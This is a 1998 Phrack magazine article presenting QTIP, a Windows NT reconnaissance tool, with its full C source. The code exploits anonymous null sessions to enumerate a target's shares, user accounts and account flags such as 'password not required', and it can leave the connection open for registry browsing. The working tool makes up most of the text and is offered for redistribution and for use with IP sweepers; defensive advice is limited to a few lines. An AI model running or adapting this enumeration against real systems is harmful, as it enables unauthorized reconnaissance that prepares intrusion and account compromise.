---[  Phrack Magazine   Volume 8, Issue 52 January 26, 1998, article 10 of 20


-------------------------[  a Quick nT Interrogation Probe (QTIP)


--------[  twitch <twitch@aye.net>


----[  INTRODUCTION


    As you probably already know, certain LanMan derivatives (most notably
Windows NT) sport a stupid feature known as `null sessions`.  Null sessions
allow server connections to be established without the hassle and rigmarole of
username or password authentication.  This is reportedly to ease
administrative tasks (UserManager and ilk utilize them).  Also, such silliness
such as the RedButton bug have shown (although in poor form) that an 
interested/malicious third party can gleen quite a bit of info from `Press any
key to return to index`.  Once established, these connections default to having
permissions to display enumerated user and share lists, get information about 
particular users, wander the registry, etc.  QTIP takes advantage of this,
allowing the user to procure far too much information about the target
machine.  It employs no black magic or hidden technique to do this.  QTIP
works via straight API calls.

    As of service pack 3 for NT 4.0, it is possible for the `informed` system
administrator to block null sessions through the registry, effectively
nullifying any threat from QTIP.  I do not, however, believe that there is
such a patch for 3.5.1 machines.  Also, it has not been tested against SAMBA
servers, and as far as the author knows, SAMBA does not support something as
asinine as null sessions (anyone who knows any differently is invited to mail
corrections to the author, or directly to Phrack Magazine).

    To prevent these sorts of shenanigans from happening remotely across the
Internet, the concerned system administrator can block NBT traffic at the
gateway (this sort of traffic should not be allowed to/from the Internet as
standard fare).  If you are running NT 4.0, install the service packs, and set
the appropriate registry values to disable the attack.  Or use OpenBSD.


----[  THE CODE


    QTIP has a few options.  qtip -h supplies the following info:

usage qtip[asug<username>hv] <target>
        -s:             get share list
        -u:             get user list
        -g <username>:  get infos about <username>
        -d:             leave connection established on exit
        -a:             -s + -u
        -h, -?:         display this help
        -v:             be verbose (use twice to be garrulous)

    Seems rather self explanatory.  If the verbose flag is set, then -u
implies a recursive -g.  -d is handy if you plan to take a look at the
registry as well (there's gold in them thar hills).  Omission of all flags just
establishes a null session and exits.  <target> can be a fully-qualified
domain name, ip address, or UNC format.  The code compiles like a dream under
visual c 4.1.  There is no makefile included, just link the code against 
kernel32.lib, libc.lib and wsock32.lib.  This program is most useful wrapped 
in scripts with something like tping(ip sweeper), and maybe a few registry
inquisition perl scripts.  Feel free to redistribute, just give props where
props are due, and please let me know if you make any interesting changes.

<++> qtip/qtip.h
/*
 * qtip.h
 * 12/04/1997
 * twitch
 * twitch@aye.net
 *
 * a quick nt investigative probe. (mis)uses null sessions to collect
 * sundry information about a WindowsNT server.  distribute as you
 * please.  be alert, look alive, and act like you kow.
 *
 * '...i should dismiss him, in order to teach him that pleasure consists
 *     not in what i enjoy, but in having my own way.'
 *       -sk, either/or
 */

#include <stdio.h>
#include <windows.h>
#include <winsock.h>
#include "lm.h"

#define k16             16384
#define TARG_LEN        255
#define USER_LEN        22

void handle_error(DWORD);
void prepend_str(char *, char*);
int  open_session();
int  procure_userlist();
int  procure_sharelist();
void parse_cl(int, char **);
void usage(char *);
int powerup(int, char **);
void bail(const char *);
int  close_session();
void get_usr_info(wchar_t *);

/* couple o globals to make my life easier */
u_int           OPT_SHARES, OPT_USERS, OPT_GETUI;
u_int           OPT_NODEL,  VERB;
char            target[TARG_LEN];
WCHAR           utarg[TARG_LEN];
WCHAR           user[USER_LEN];
NETRESOURCE     nr;

<-->
<++> qtip/qtip.c

/*
 * qtip.c
 * 10/04/1997
 * twitch
 * twitch@aye.net
 *
 * a quick nt investigative probe
 * link against kernel32.lib, libc.lib and wsock32.lib.
 * qtip -h for usage.  distribute as you please.
 *
 */

#include "qtip.h"

int main(int argc, char *argv[])
{
   if( (powerup(argc, argv)) )
      return(1);

   if( (open_session()) != 0)
      return(1);

   if(OPT_SHARES)
      procure_sharelist();

   if(OPT_USERS)
      procure_userlist();

   if(OPT_GETUI)
      get_usr_info(utarg);

        close_session();
   return(0);
}

int open_session()
{
   DWORD                        r;

   nr.dwType    = RESOURCETYPE_ANY;
   nr.lpLocalName       = NULL;
   nr.lpProvider        = NULL;
   nr.lpRemoteName = target;

   if(VERB)
      printf("establishing null session with %s...\n", target);

   r = WNetAddConnection2(&nr, "", "", 0);
   if(r != NO_ERROR){
      handle_error(r);
      return -1;
   }

   if(VERB)
     printf("connection established\n");

   return 0;
}

/*
 * procure_userlist()
 *    just use the old lm NetUserEnum() because there isnt comparable
 *    functionality in the WNet sect.  i just wish the win32 api was
 *    more bloated and obtuse.
 */
int procure_userlist()
{
   NET_API_STATUS               nas;
   LPBYTE                               *buf = NULL;
   DWORD                                        entread, totent, rhand;
   DWORD                                        maxlen = 0xffffffff;
   USER_INFO_0                  *usrs;
   unsigned int    i;
   int                                  cc = 0;

   entread = totent = rhand = nas = 0;
   if( (buf = (LPBYTE*)malloc(k16)) == NULL)
                bail("malloc probs\n");

   if(VERB)
     wprintf(L"\ngetting userlist from %s...\n", utarg);

   nas = NetUserEnum(utarg, 0, 0, buf, maxlen, &entread, &totent, &rhand);
   if(nas != NERR_Success){
     fprintf(stderr, "couldnt enum users, ");
     handle_error(nas);
     goto cleanup;
   }

   cc = sizeof(USER_INFO_0) * entread;
   if( (usrs = (USER_INFO_0 *)malloc(cc)) == NULL){
     fprintf(stderr, "malloc probs\n");
     goto cleanup;
   }

   memcpy(usrs, *buf, cc);
   for(i = 0; i < entread; i++){
                wcscpy(user, usrs[i].usri0_name);
                wprintf(L"%s\n", user);
                if(VERB)
                        get_usr_info(utarg);
    }

cleanup:
   if(buf)
     free(buf);

   return 0;
}

/*
 * get_user_info()
 *    attempt to gather some interesting facts about
 *              a user
 */
void get_usr_info(LPWSTR utarg)
{
   NET_API_STATUS nas;
   USER_INFO_1          usrinfos;
   LPBYTE         *buf = NULL;

   if( !(buf = (LPBYTE *)malloc(sizeof(USER_INFO_1))) )
     bail("malloc probs\n");

   nas = NetUserGetInfo(utarg, user, 1, buf);

   if(nas){
     fwprintf(stderr, L"couldnt get user info for for %s, ", user);
     handle_error(nas);
   }
   else{
     memcpy(&usrinfos, *buf, sizeof(USER_INFO_1));

     /* most of these will never happen, but nothings lost trying */
     if( (UF_PASSWD_NOTREQD & usrinfos.usri1_flags) )
       printf("\t-password not required, how about that.\n");
     if( (UF_ACCOUNTDISABLE & usrinfos.usri1_flags) )
       printf("\t-account disabled\n");
     if( (UF_LOCKOUT & usrinfos.usri1_flags) )
       printf("\t-account locked out\n");
     if( (UF_DONT_EXPIRE_PASSWD & usrinfos.usri1_flags) )
       printf("\t-password doesnt expire\n");
     if( (UF_PASSWD_CANT_CHANGE & usrinfos.usri1_flags) )
       printf("\t-user cant change password\n");
     if( (UF_WORKSTATION_TRUST_ACCOUNT & usrinfos.usri1_flags) )
       printf("\t-account for some other box in this domain\n");
     if( (UF_SERVER_TRUST_ACCOUNT & usrinfos.usri1_flags) )
       printf("\t-account for what is prolly the BDC\n");
     if( (UF_INTERDOMAIN_TRUST_ACCOUNT & usrinfos.usri1_flags) )
       printf("\t-interdomain permit to trust account\n");
   }

   free(buf);
}

/*
 * procure_sharelist()
 *    strangely enough, this retrieves a sharelist from target
 */
int procure_sharelist()
{
   DWORD                        r;
   DWORD                        bufsize = 16384, cnt = 0xFFFFFFFF;
   HANDLE               enhan;
   void                 *buf;
   NETRESOURCE  *res;
   u_int                        i;

   if( (buf = malloc(bufsize)) == NULL){
      fprintf(stderr, "malloc probs, bailing\n");
      return -1;
   }

   nr.dwScope                   = RESOURCE_CONNECTED;
   nr.dwType                    = RESOURCETYPE_ANY;
   nr.dwDisplayType     = 0;
   nr.dwUsage                   = RESOURCEUSAGE_CONTAINER;
   nr.lpLocalName               = NULL;
   nr.lpRemoteName      = (LPTSTR)target;
   nr.lpComment    = NULL;
   nr.lpProvider                = NULL;

   r = WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY,
                                                  RESOURCEUSAGE_CONNECTABLE, &nr
, &enhan);
   if(r != 0){
                free(buf);
                printf("open_enum failed, sorry- ");
                handle_error(r);
                return -1;
   }

   r = WNetEnumResource(enhan, &cnt, buf, &bufsize);
   if(r != 0){
      free(buf);
      printf("enum_res failed- ");
                handle_error(r);
                return -1;
   }

   res = (NETRESOURCE*)malloc(cnt * sizeof(NETRESOURCE));
   if(res == NULL){
      free(buf);
      printf("malloc probs, i wont be listing shares.\n");
                return -1;
   }
   memcpy(res, buf, (cnt * sizeof(NETRESOURCE)) );

   for(i = 0; i < cnt; i++){
      if(VERB)
                        printf("\nshare name:\t");

      printf("%s\n", res[i].lpRemoteName);
      if(VERB){
                        printf("share type:\t");
                        if(res[i].dwType = RESOURCETYPE_DISK)
                                printf("disk");
                        else
                                printf("printer");
                                printf("\ncomment:\t%s\n", res[i].lpComment);
                }
   }

   free(buf);
   free(res);
   return 0;
}

/*
 * close_session()
 *    clean up our mess
 */
int close_session()
{
   DWORD                r;

   WSACleanup();
   if(!OPT_NODEL)
      r = WNetCancelConnection2(target, 0, TRUE);

   if(r != 0){
      fprintf(stderr, "couldnt delete %s, returned %d\n", target, r);
      return -1;
   }
   else{
      if(VERB)
                        printf("connection to %s deleted\n", target);
   }

   return 0;
}

/*
 * handle_error()
 *    util function to deal with some errors.
 */
void handle_error(DWORD err)
{
   switch(err){
   case ERROR_ACCESS_DENIED:
                fprintf(stderr, "access is denied.\n");
                break;
   case ERROR_BAD_NET_NAME:
                fprintf(stderr, "bad net name.\n");
                break;
   case ERROR_EXTENDED_ERROR:
                fprintf(stderr, "an extended error occurred.\n");
                break;
   case ERROR_INVALID_PASSWORD:
                fprintf(stderr, "invalid password.\n");
                break;
   case ERROR_LOGON_FAILURE:
                fprintf(stderr, "bad username or password.\n");
                break;
   case NO_ERROR:
                fprintf(stderr, "it worked\n");
                break;
   case ERROR_BAD_NETPATH:
                fprintf(stderr, "network path not found.\n");
                break;
   default:
                fprintf(stderr, "a random error occurred (%d).\n", err);
        }
}

/*
 * prepend_str()
 *    util funk to prepend chars to a string
 */
void prepend_str(char *orgstr, char *addthis)
{
   orgstr = _strrev(orgstr);
   addthis = _strrev(addthis);
   strcat(orgstr, addthis);
   orgstr = _strrev(orgstr);
}
/*
 * parse_cl()
 *    try and make sense of the command line.  no, i dont have a win32 getopt.
 *    yes, i know i should
 */
void parse_cl(int argc, char **argv)
{
   int     i, cc;
   char    opt;
   DWORD                r;

   OPT_SHARES = OPT_USERS = VERB = 0;

   for(i = 1; i < (argc); i++){
      if( (*argv[i]) == '-'){
                        opt = *(argv[i]+1);
                        switch(opt){
                        case 'a':
                                OPT_SHARES = 1;
                                OPT_USERS  = 1;
                                break;
                        case 's':
                                OPT_SHARES = 1;
                        break;
                        case 'u':
                                OPT_USERS  = 1;
                        break;
                        case 'g':
                                OPT_GETUI  = 1;
                                if( (strlen(argv[i+1])) > USER_LEN)
                                        bail("username too long (must be < 21)");
                                ZeroMemory(user, USER_LEN);
                                cc = strlen(argv[++i]);
                                r = MultiByteToWideChar(CP_ACP, 0, argv[i], cc, user, (cc + 2));
                                break;
                        case 'd':
                                OPT_NODEL = 1;
                                break;
                        case 'v':
                                VERB++;
                                break;
                        default:
                                if( (opt != 'h') && (opt != '?') )
                                        fprintf(stderr, "unknown option '%c'\n", opt);
                                usage(argv[0]);
                                break;
                        }
                }
   }

        if( (OPT_SHARES) && (VERB) )
      printf("listing shares\n");
   if( (OPT_USERS) && (VERB) )
      printf("listing users\n");
   if( (OPT_GETUI) && (VERB) )
      wprintf(L"getting infos about user %s\n", user);
   if(VERB)
      printf("verbosity = %d\n", VERB);
}

/*
 * powerup()
 *    just init stuff and parse the command line
 */
int powerup(int argc, char **argv)
{
   struct hostent       *hent;
   u_long       addie;
   WORD         werd;
   WSADATA      data;
   char         buf[256];
   int          cc = 0, ucc = 0;

   if(argc < 3)
      usage(argv[0]);

   parse_cl(argc, argv);
   ZeroMemory(buf, 256);
   strcpy(buf, argv[argc - 1]);

/* if not unc format get the ip */
   if(buf[0] != '\\'){
      if(VERB > 1)
                        printf("target not in unc\n");

      werd = MAKEWORD(1, 1);
      if( (WSAStartup(werd, &data)) !=0 )
                        bail("couldnt init winsock\n");

      hent = (struct hostent *)malloc(sizeof(struct hostent));
      if(hent == NULL)
                        bail("malloc probs\n");

      if( (addie = inet_addr(buf)) == INADDR_NONE){
                        hent = gethostbyname(buf);
                        if(hent == NULL){
                                fprintf(stderr, "fatal: couldnt resolve %s.\n", buf);
                                return -1;
                        }
                        ZeroMemory(buf, 256);
                        strcpy(buf, inet_ntoa(*(struct in_addr *)*hent->h_addr_list));
      }
      prepend_str(buf, "\\\\");
   }
   else
      fprintf(stderr, "target already in unc\n");

   if( (strlen(buf) > (TARG_LEN - 1)) ){
      free(buf);
      bail("hostname too long (must be < 255 chars.)");
      return -1;
   }

   ZeroMemory(target, TARG_LEN);
   strcpy(target, buf);

   ZeroMemory(utarg, TARG_LEN);
   cc = strlen(target);
   ucc = MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, target, cc, utarg, cc);
   if(ucc < 1){
      bail("unicode conversion probs, sorry");
      return -1;
   }

   return 0;
}

void usage(char *prog)
{
   fprintf(stderr, "usage: %s [asug<username>hv] <target>\n", prog);
   fprintf(stderr, "\t-s:\t\tget share list\n");
   fprintf(stderr, "\t-u:\t\tget user list\n");
   fprintf(stderr, "\t-g: <username>\tget infos about just <username>\n");
   fprintf(stderr, "\t-d:\t\tleave connection established on exit\n");
   fprintf(stderr, "\t-a:\t\t-s + -u\n");
   fprintf(stderr, "\t-h, -?:\t\tdisplay this help\n");
   fprintf(stderr, "\t-v:\t\tbe verbose (use twice to be garrolous)\n");
   exit(0);
}

/*
 * bail()
 *    just whine and die
 */
void bail(const char *msg)
{
   fprintf(stderr, "fatal: %s\n", msg);
   close_session();
   exit(1);
}
<-->


----[  EOF

